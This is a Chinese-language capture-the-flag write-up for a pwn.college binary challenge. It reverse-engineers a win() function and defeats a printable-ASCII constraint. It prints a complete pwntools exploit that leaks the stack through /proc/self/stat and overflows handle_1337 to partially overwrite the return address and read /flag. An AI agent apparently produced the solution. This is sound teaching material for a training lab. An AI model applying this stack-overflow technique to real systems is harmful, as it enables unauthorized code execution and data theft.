CIMG 挑战第二题。handle_5(无校验文件加载)被移除,新增不可达的
win() 函数。需要通过 handle_1337 栈溢出覆盖返回地址,跳转到
win 读取 /flag。全部数据路径受限于 printable
ASCII(0x20-0x7e)。
挑战地址:ssh hacker@dojo.pwn.college,二进制在
/challenge/integration-cimg-screenshot-win。
1. 与第一题的区别
特性
第一题
第二题
handle_5(加载文件)
可用
已移除 ,跳转表 slot 指向错误处理
win() 函数
无
有,但无任何调用者
二进制大小
22KB
83KB
核心漏洞
handle_1337 栈溢出
相同
handle_5 的移除意味着无法通过加载外部文件来放置任意字节的
shellcode。所有数据必须通过 handle_1(RGBA 像素)进入帧缓冲区,而
handle_1 强制要求 alpha 通道在 0x20-0x7e 范围内。
2. win() 函数分析
win 位于 0x401576,逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void win () { int fd = open("/flag" , O_RDONLY); if (fd < 0 ) { printf ("ERROR: Failed to open the flag -- %s!\n" , strerror(errno)); if (geteuid() != 0 ) { puts ("Your effective user id is not 0!" ); puts ("You must directly run the suid binary..." ); } exit (-1 ); } char buf[256 ]; int n = read(fd, buf, sizeof (buf)); if (n <= 0 ) { } write(1 , buf, n); }
关键发现:win 不是单个函数,而是约 50 个重复的
open/read/write 代码块 的序列。每个块结构相同:
1 2 3 4 5 6 7 write_block: write(1, rbp, n) // 输出上次读取的内容 puts(separator) open_block: fd = open("/flag", 0) if (fd < 0) goto error read_block: n = read(fd, rbp, 0x100) if (n <= 0) goto error // chain to next write_block
第一个块(0x4015e1)特殊:它在 read 前执行
mov %rsp, %rbp,将 rbp
初始化为有效的栈缓冲区。后续所有块复用 这个 rbp 值。
3. 核心难题:printable 约束
handle_1337 的溢出数据来自帧缓冲区。帧缓冲区由 handle_1 填充,alpha
通道必须是 printable(0x20-0x7e)。
需要覆盖的返回地址包含 0x00 和 0x15
等不可打印字节。由于无法构造全 printable 的 64
位地址,直接覆盖行不通。
尝试了多种绕过:
部分覆盖 saved
rbp :保留高字节(原始栈地址),只覆盖低字节。但即使 rbp
指向有效栈内存,跳转目标 0x402031 的字节包含
0x15(不可打印)。
saved rbx 劫持 + 跳转表 :rbx 必须指向 printable
地址,栈/堆地址均不可打印。
多阶段溢出 :每次 handle_1337
调用创建新栈帧,无法叠加。
4. 突破:printable 地址的
mov %rsp, %rbp
扫描二进制中所有 mov %rsp, %rbp(字节序列
48 89 e5):
1 2 3 4 0x4015e1 mov %rsp,%rbp ; 0xe1, 0x15 ← 0x15 不可打印 0x402214 mov %rsp,%rbp ; 0x14, 0x22 ← 0x14 不可打印 ... 0x405470 mov %rsp,%rbp ; 0x70='p', 0x54='T' ← 全部 printable!
0x405470 的低三字节
70 54 40 均可打印。该地址位于 win
的深层重复块中,其后的代码路径为:
1 2 3 4 5 6 7 8 9 10 405470: mov %rsp, %rbp ; rbp = 当前栈指针(有效缓冲区!) 405473: movslq %eax, %edx ; 来自上一轮 read 的字节数 405476: mov $1, %edi 40547b: mov %rbp, %rsi 40547e: call write ; 写入 stdout(首次是栈垃圾,但后续是 flag) 405483: puts(...) 40548f: lea "/flag", %rdi 40549a: call open ; 打开 /flag 4054d9: read(fd, rbp, 0x100) ; 读取 /flag 到栈缓冲区 ; → 链到下一个 write_block 输出 flag
跳到 0x405470 后:第一次 write
输出栈上的随机数据(无害),然后 open → read →
下一个 write 正确输出
flag。后续块继续循环直到栈耗尽或崩溃——但 flag 已经输出了。
5. Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 WIN = 0x405470 raw = bytearray (255 ) for i in range (255 ): raw[i] = 0x41 raw[168 ] = 0x70 raw[169 ] = 0x54 raw[170 ] = 0x40 rgba = b'' .join(bytes ([0 , 0 , 0 , b]) for b in raw) cimg = cimg_hdr(255 , 1 , 2 ) + p16(1 ) + rgba + p16(1337 ) + bytes ([0 , 0 , 0 , 171 , 1 ])
1 2 3 4 $ ssh hacker@dojo.pwn.college 'python3 /tmp/ewf2.py' [+] startstack=0x7ffeff2ce320 [*] Running exploit → 0x405470 [+] FLAG: pwn.college{**********************************************}
完整 exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 """CIMG Screenshots 2 — FINAL: jump to 0x405470 (mov rsp,rbp; write; open; read; write /flag).""" from pwn import *context.log_level = "info" BIN = "/challenge/integration-cimg-screenshot-win" WIN = 0x405470 def cimg_hdr (w, h, n ): return b"cIMG" + p16(4 ) + p8(w) + p8(h) + p32(n) stat = open ("/proc/self/stat" , "rb" ).read()[:255 ].ljust(255 , b"\x00" ) rgba = b"" .join(bytes ([0 , 0 , 0 , b]) for b in stat) cimg = cimg_hdr(255 , 1 , 2 ) + p16(1 ) + rgba + p16(6 ) + b"\x00" with open ("/tmp/lk.cimg" , "wb" ) as f: f.write(cimg) p = process([BIN, "/tmp/lk.cimg" ]) out = p.recvall(10 ) p.close() import ress = int (b"" .join(re.findall(rb"m(.)\x1b\[0m" , out)).decode().split()[27 ]) log.success(f"startstack={hex (ss)} " ) OVERFLOW_W = 171 raw = bytearray (255 ) for i in range (255 ): raw[i] = 0x41 raw[168 ] = 0x70 raw[169 ] = 0x54 raw[170 ] = 0x40 rgba = b"" .join(bytes ([0 , 0 , 0 , b]) for b in raw) cimg = cimg_hdr(255 , 1 , 2 ) + p16(1 ) + rgba + p16(1337 ) + bytes ([0 , 0 , 0 , OVERFLOW_W, 1 ]) with open ("/tmp/ex.cimg" , "wb" ) as f: f.write(cimg) log.info("Running exploit → 0x405470" ) p = process([BIN, "/tmp/ex.cimg" ]) out = p.recvall(10 ) p.close() flag = re.search(rb"pwn\.college\{[^}]+\}" , out) if flag: log.success(f"FLAG: {flag.group().decode()} " ) else : clean = re.sub(rb"\x1b\[[0-9;]*m" , b"" , out) log.info(f"exit={p.returncode} len={len (out)} " ) if clean.strip(): log.info(f"output: {clean[:500 ]} " )
6. 关键要点
重复代码块创造机会 ——win 的 ~50
个副本使地址空间覆盖了 printable 范围。如果在
0x402020-0x407e7e 区间内搜索,总能找到包含
mov %rsp, %rbp 的块。
mov %rsp, %rbp
自初始化 ——不需要预先设置 rbp。跳转到该指令后,rbp
自动指向有效栈内存,read 可直接写入。
部分覆盖在 printable
约束下仍然有效 ——只覆盖返回地址的低 3 字节,高 5 字节保留原始的
0x00(因为原始返回地址 0x4013ff 的高字节也是
0)。
Hermes + deepseek-v4-pro 从零分析到拿到 flag
约一小时。最耗时的是逐个排查 printable 约束下的绕过方案——return address
overwrite、saved rbx hijack、partial overwrite、alphanumeric shellcode
等——直到发现 0x405470 的 mov %rsp, %rbp
自初始化特性。